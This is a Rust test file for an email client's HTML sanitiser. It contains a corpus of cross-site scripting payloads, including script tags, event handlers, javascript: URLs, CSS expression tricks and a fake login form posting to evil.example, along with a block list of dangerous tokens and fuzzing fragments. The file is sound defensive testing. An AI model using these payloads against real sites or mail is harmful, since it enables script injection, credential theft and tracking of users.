310 lines
13 KiB
Rust
310 lines
13 KiB
Rust
//! Mandatory: the hostile HTML corpus and the sanitiser's properties.
|
|
|
|
use epistula_core::sanitize::{BLOCKED_IMAGE_SRC, SanitizeOptions, sanitize, text_to_html};
|
|
use proptest::prelude::*;
|
|
|
|
fn clean(html: &str) -> String {
|
|
sanitize(html, &SanitizeOptions::default()).html
|
|
}
|
|
|
|
/// Anything executable, anything that loads something, anything that navigates by itself.
|
|
const FORBIDDEN: &[&str] = &[
|
|
"<script", "javascript:", "vbscript:", "onerror", "onload", "onclick", "onmouseover", "onfocus",
|
|
"onbegin", "ontoggle", "expression(", "<form", "<input", "<button", "<textarea", "<select",
|
|
"<meta", "http-equiv", "refresh", "<iframe", "<frame", "<object", "<embed", "<applet", "<base",
|
|
"<link", "<style", "@import", "url(", "behavior:", "-moz-binding", "<svg", "<math", "srcdoc",
|
|
"formaction", "data:text/html", "evil.example", "<template", "<noscript", "<xml", "xlink:href",
|
|
];
|
|
|
|
const CORPUS: &[&str] = &[
|
|
"<script>alert(1)</script>",
|
|
"<SCRIPT SRC=//evil.example/x.js></SCRIPT>",
|
|
"<scr<script>ipt>alert(1)</script>",
|
|
"<img src=x onerror=alert(1)>",
|
|
"<img src=\"x\" ONERROR=\"alert(1)\">",
|
|
"<img src=x onerror\n=alert(1)>",
|
|
"<body onload=alert(1)>hi</body>",
|
|
"<svg onload=alert(1)><circle r=1></svg>",
|
|
"<svg><script>alert(1)</script></svg>",
|
|
"<svg><animate onbegin=alert(1) attributeName=x></svg>",
|
|
"<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
|
|
"<a href=\"javascript:alert(1)\">x</a>",
|
|
"<a href=\"JaVaScRiPt:alert(1)\">x</a>",
|
|
"<a href=\"java	script:alert(1)\">x</a>",
|
|
"<a href=\"javascript:alert(1)\">x</a>",
|
|
"<a href=\" javascript:alert(1)\">x</a>",
|
|
"<a href=\"vbscript:msgbox(1)\">x</a>",
|
|
"<a href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\">x</a>",
|
|
"<iframe src=\"data:text/html,<script>alert(1)</script>\"></iframe>",
|
|
"<iframe srcdoc=\"<script>alert(1)</script>\"></iframe>",
|
|
"<object data=\"evil.example/x.swf\"></object>",
|
|
"<embed src=\"evil.example/x.swf\">",
|
|
"<div style=\"width: expression(alert(1))\">x</div>",
|
|
"<div style=\"background:url(javascript:alert(1))\">x</div>",
|
|
"<div style=\"background-image: url('https://evil.example/track.png')\">x</div>",
|
|
"<div style=\"behavior: url(x.htc)\">x</div>",
|
|
"<div style=\"-moz-binding: url(x.xml#xss)\">x</div>",
|
|
"<div style=\"color: red; background: url(https://evil.example/t.gif)\">x</div>",
|
|
"<div style=\"color:e\\78pression(alert(1))\">x</div>",
|
|
"<div style=\"color: red /* */ ; width: expr/**/ession(1)\">x</div>",
|
|
"<style>@import 'https://evil.example/x.css'; body{background:url(https://evil.example/t)}</style>",
|
|
"<link rel=stylesheet href=https://evil.example/x.css>",
|
|
"<meta http-equiv=\"refresh\" content=\"0;url=https://evil.example\">",
|
|
"<meta http-equiv=refresh content=\"0; url=javascript:alert(1)\">",
|
|
"<base href=\"https://evil.example/\">",
|
|
"<form action=\"https://evil.example/steal\"><input name=p type=password><button>Log in</button></form>",
|
|
"<button formaction=javascript:alert(1)>x</button>",
|
|
"<img src=\"https://evil.example/track.gif\">",
|
|
"<img src=\"http://evil.example/track.gif\" width=1 height=1>",
|
|
"<img srcset=\"https://evil.example/a.png 1x\">",
|
|
"<table background=\"https://evil.example/bg.png\"><tr><td>x</td></tr></table>",
|
|
"<body background=\"https://evil.example/bg.png\">x</body>",
|
|
"<video poster=\"https://evil.example/p.png\"></video>",
|
|
"<audio src=\"https://evil.example/a.mp3\"></audio>",
|
|
"<details open ontoggle=alert(1)>x</details>",
|
|
"<a href=\"https://ok.example\" onclick=\"alert(1)\">ok</a>",
|
|
"<xml><x:script>alert(1)</x:script></xml>",
|
|
"<template><script>alert(1)</script></template>",
|
|
"<noscript><img src=x onerror=alert(1)></noscript>",
|
|
"<svg><a xlink:href=\"javascript:alert(1)\"><text>x</text></a></svg>",
|
|
"<!--<img src=x onerror=alert(1)>-->",
|
|
"<img src=x:alert(alt) onerror=eval(src) alt=0>",
|
|
"<a href=\"data:image/svg+xml;base64,PHN2Zz48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+\">x</a>",
|
|
];
|
|
|
|
/// The output escapes `:` and `=` in text and attribute values (`:`, `=`); undo that so the checks
|
|
/// see what a browser sees.
|
|
fn decoded(s: &str) -> String {
|
|
s.replace(":", ":").replace("=", "=")
|
|
}
|
|
|
|
/// Every tag in the output, with its attribute names and decoded values (a small scanner for the serialised
|
|
/// form ammonia writes: double-quoted values, no raw `<` in text).
|
|
fn tags(out: &str) -> Vec<(String, Vec<(String, String)>)> {
|
|
let mut result = Vec::new();
|
|
let mut rest = out;
|
|
while let Some(start) = rest.find('<') {
|
|
rest = &rest[start + 1..];
|
|
let mut name = String::new();
|
|
let mut chars = rest.char_indices().peekable();
|
|
while let Some(&(_, c)) = chars.peek() {
|
|
if c.is_whitespace() || c == '>' || c == '/' && !name.is_empty() {
|
|
break;
|
|
}
|
|
name.push(c);
|
|
chars.next();
|
|
}
|
|
let mut attrs = Vec::new();
|
|
let mut end = rest.len();
|
|
loop {
|
|
while let Some(&(_, c)) = chars.peek() {
|
|
if c.is_whitespace() || c == '/' { chars.next(); } else { break; }
|
|
}
|
|
let Some(&(i, c)) = chars.peek() else { break };
|
|
if c == '>' { end = i + 1; break; }
|
|
let mut attr = String::new();
|
|
while let Some(&(_, c)) = chars.peek() {
|
|
if c == '=' || c == '>' || c.is_whitespace() { break; }
|
|
attr.push(c);
|
|
chars.next();
|
|
}
|
|
let mut value = String::new();
|
|
if let Some(&(_, '=')) = chars.peek() {
|
|
chars.next();
|
|
if let Some(&(_, '"')) = chars.peek() {
|
|
chars.next();
|
|
for (_, c) in chars.by_ref() {
|
|
if c == '"' { break; }
|
|
value.push(c);
|
|
}
|
|
}
|
|
}
|
|
let value = decoded(&value).replace("&", "&").replace(""", "\"");
|
|
attrs.push((attr.to_ascii_lowercase(), value));
|
|
}
|
|
result.push((name.to_ascii_lowercase(), attrs));
|
|
rest = &rest[end.min(rest.len())..];
|
|
}
|
|
result
|
|
}
|
|
|
|
/// What a browser would run or load: script tags, event handler attributes, script URLs.
|
|
fn dangerous(out: &str) -> Option<String> {
|
|
for (name, attrs) in tags(out) {
|
|
if name == "script" || name == "iframe" || name == "object" || name == "embed" || name == "svg" {
|
|
return Some(format!("tag {name}"));
|
|
}
|
|
for (attr, value) in attrs {
|
|
if attr.starts_with("on") {
|
|
return Some(format!("attribute {attr}"));
|
|
}
|
|
let compact: String = value.chars().filter(|c| !c.is_whitespace() && !c.is_control()).collect();
|
|
let compact = compact.to_ascii_lowercase();
|
|
if compact.starts_with("javascript:") || compact.starts_with("vbscript:") || compact.starts_with("data:text") {
|
|
return Some(format!("url in {attr}"));
|
|
}
|
|
}
|
|
}
|
|
None
|
|
}
|
|
|
|
#[test]
|
|
fn hostile_corpus_leaves_nothing_dangerous() {
|
|
for input in CORPUS {
|
|
let raw = clean(input);
|
|
assert_eq!(dangerous(&raw), None, "input {input:?} output {raw:?}");
|
|
let out = decoded(&raw).to_ascii_lowercase();
|
|
for bad in FORBIDDEN {
|
|
assert!(!out.contains(bad), "input {input:?}\noutput {out:?}\ncontains {bad:?}");
|
|
}
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn remote_images_become_placeholders_and_are_counted() {
|
|
let html = "<p>Hi</p><img src=\"https://evil.example/a.png\" alt=\"logo\"><img src=\"http://evil.example/b.png\">";
|
|
let out = sanitize(html, &SanitizeOptions::default());
|
|
assert_eq!(out.blocked_images, 2);
|
|
assert!(!out.html.contains("evil.example"), "{}", out.html);
|
|
let placeholder = BLOCKED_IMAGE_SRC.replace(':', ":");
|
|
assert_eq!(out.html.matches(&placeholder).count(), 2, "{}", out.html);
|
|
assert!(out.html.contains("alt=\"logo\""));
|
|
}
|
|
|
|
#[test]
|
|
fn load_images_keeps_remote_images_only() {
|
|
let html = "<img src=\"https://cdn.example/a.png\"><a href=\"javascript:x\">j</a><img src=x onerror=alert(1)>";
|
|
let out = sanitize(html, &SanitizeOptions { load_remote_images: true, ..Default::default() });
|
|
assert_eq!(out.blocked_images, 0);
|
|
assert!(out.html.contains("https://cdn.example/a.png"), "{}", out.html);
|
|
let lower = out.html.to_ascii_lowercase();
|
|
assert!(!lower.contains("javascript") && !lower.contains("onerror"), "{}", out.html);
|
|
}
|
|
|
|
#[test]
|
|
fn ordinary_mail_formatting_survives() {
|
|
let html = "<div style=\"color: #333; font-size: 14px; text-align: center\">\
|
|
<p><b>Bold</b> <i>it</i> <u>u</u> <strong>s</strong> <em>e</em></p>\
|
|
<ul><li>one</li></ul><ol><li>two</li></ol><blockquote>quoted</blockquote>\
|
|
<table><tr><td style=\"padding: 4px\">cell</td></tr></table>\
|
|
<a href=\"https://example.cz/x?a=1&b=2\">link</a> <a href=\"mailto:a@example.cz\">mail</a></div>";
|
|
let out = clean(html);
|
|
for kept in ["<b>Bold</b>", "<i>it</i>", "<u>u</u>", "<ul>", "<ol>", "<blockquote>", "<table>", "<td"] {
|
|
assert!(out.contains(kept), "{kept} missing in {out}");
|
|
}
|
|
assert!(out.contains("color: #333"), "{out}");
|
|
assert!(out.contains("padding: 4px"), "{out}");
|
|
assert!(out.contains("href=\"https://example.cz/x?a=1&b=2\""), "{out}");
|
|
assert!(out.contains("href=\"mailto:a@example.cz\""), "{out}");
|
|
assert!(out.contains("rel=\"noopener noreferrer\""), "{out}");
|
|
}
|
|
|
|
#[test]
|
|
fn embedded_data_images_are_kept_only_for_raster_types() {
|
|
let png = "<img src=\"data:image/png;base64,iVBORw0KGgo=\">";
|
|
assert!(clean(png).contains("data:image/png;base64,iVBORw0KGgo="), "{}", clean(png));
|
|
let svg = "<img src=\"data:image/svg+xml;base64,PHN2Zz48L3N2Zz4=\">";
|
|
assert!(!clean(svg).contains("image/svg"), "{}", clean(svg));
|
|
let html = "<img src=\"data:text/html;base64,PHNjcmlwdD4=\">";
|
|
assert!(!clean(html).contains("text/html"));
|
|
}
|
|
|
|
#[test]
|
|
fn text_bodies_are_escaped_and_linked() {
|
|
let html = text_to_html("a < b & c > d\n<script>alert(1)</script>\nsee https://example.cz/x?y=1 ok");
|
|
assert!(html.contains("a < b & c > d"), "{html}");
|
|
assert!(!html.to_ascii_lowercase().contains("<script"), "{html}");
|
|
assert!(html.contains("<br>"), "{html}");
|
|
assert!(html.contains("<a href=\"https://example.cz/x?y=1\""), "{html}");
|
|
let js = text_to_html("javascript:alert(1)");
|
|
assert!(!js.contains("<a"), "{js}");
|
|
}
|
|
|
|
fn has_event_handler(s: &str) -> bool {
|
|
let lower = s.to_ascii_lowercase();
|
|
let bytes = lower.as_bytes();
|
|
let mut i = 0;
|
|
while let Some(pos) = lower[i..].find(" on") {
|
|
let start = i + pos + 3;
|
|
let mut j = start;
|
|
while j < bytes.len() && bytes[j].is_ascii_alphabetic() {
|
|
j += 1;
|
|
}
|
|
while j < bytes.len() && bytes[j].is_ascii_whitespace() {
|
|
j += 1;
|
|
}
|
|
if j < bytes.len() && bytes[j] == b'=' {
|
|
return true;
|
|
}
|
|
i = start;
|
|
}
|
|
false
|
|
}
|
|
|
|
fn fragment() -> impl Strategy<Value = String> {
|
|
prop_oneof![
|
|
Just("<script>".to_string()),
|
|
Just("</script>".to_string()),
|
|
Just("<scr".to_string()),
|
|
Just("ipt>".to_string()),
|
|
Just("<img src=x onerror=alert(1)>".to_string()),
|
|
Just(" onload=".to_string()),
|
|
Just(" ONCLICK = ".to_string()),
|
|
Just("javascript:".to_string()),
|
|
Just("JAVASCRIPT:".to_string()),
|
|
Just("<a href=\"".to_string()),
|
|
Just("\">".to_string()),
|
|
Just("<svg".to_string()),
|
|
Just("<div style=\"".to_string()),
|
|
Just("expression(".to_string()),
|
|
Just("<!--".to_string()),
|
|
Just("-->".to_string()),
|
|
Just("<![CDATA[".to_string()),
|
|
Just("j".to_string()),
|
|
Just("<script>".to_string()),
|
|
Just("<".to_string()),
|
|
Just(">".to_string()),
|
|
Just("\"".to_string()),
|
|
Just("'".to_string()),
|
|
Just("=".to_string()),
|
|
Just(" ".to_string()),
|
|
Just("<p title=\"".to_string()),
|
|
"[a-z]{1,8}",
|
|
"\\PC{0,12}",
|
|
]
|
|
}
|
|
|
|
proptest! {
|
|
#![proptest_config(ProptestConfig::with_cases(2000))]
|
|
|
|
#[test]
|
|
fn no_output_ever_contains_script_handlers_or_javascript(
|
|
parts in proptest::collection::vec(fragment(), 0..40),
|
|
load in any::<bool>(),
|
|
) {
|
|
let input = parts.concat();
|
|
let out = sanitize(&input, &SanitizeOptions { load_remote_images: load, ..Default::default() }).html;
|
|
let lower = out.to_ascii_lowercase();
|
|
prop_assert!(!lower.contains("<script"), "input {:?} output {:?}", input, out);
|
|
prop_assert!(!lower.contains("javascript:"), "input {:?} output {:?}", input, out);
|
|
prop_assert!(!has_event_handler(&out), "input {:?} output {:?}", input, out);
|
|
prop_assert_eq!(dangerous(&out), None, "input {:?} output {:?}", input, out);
|
|
}
|
|
|
|
#[test]
|
|
fn text_to_html_is_always_inert(text in "\\PC{0,300}") {
|
|
let out = text_to_html(&text).to_ascii_lowercase();
|
|
prop_assert!(!out.contains("<script"));
|
|
prop_assert!(!out.contains("javascript:"));
|
|
prop_assert!(!has_event_handler(&out));
|
|
}
|
|
|
|
#[test]
|
|
fn sanitizing_twice_changes_nothing_dangerous(parts in proptest::collection::vec(fragment(), 0..30)) {
|
|
let once = clean(&parts.concat());
|
|
let twice = clean(&once).to_ascii_lowercase();
|
|
prop_assert!(!twice.contains("<script") && !twice.contains("javascript:") && !has_event_handler(&twice));
|
|
prop_assert_eq!(dangerous(&twice), None);
|
|
}
|
|
}
|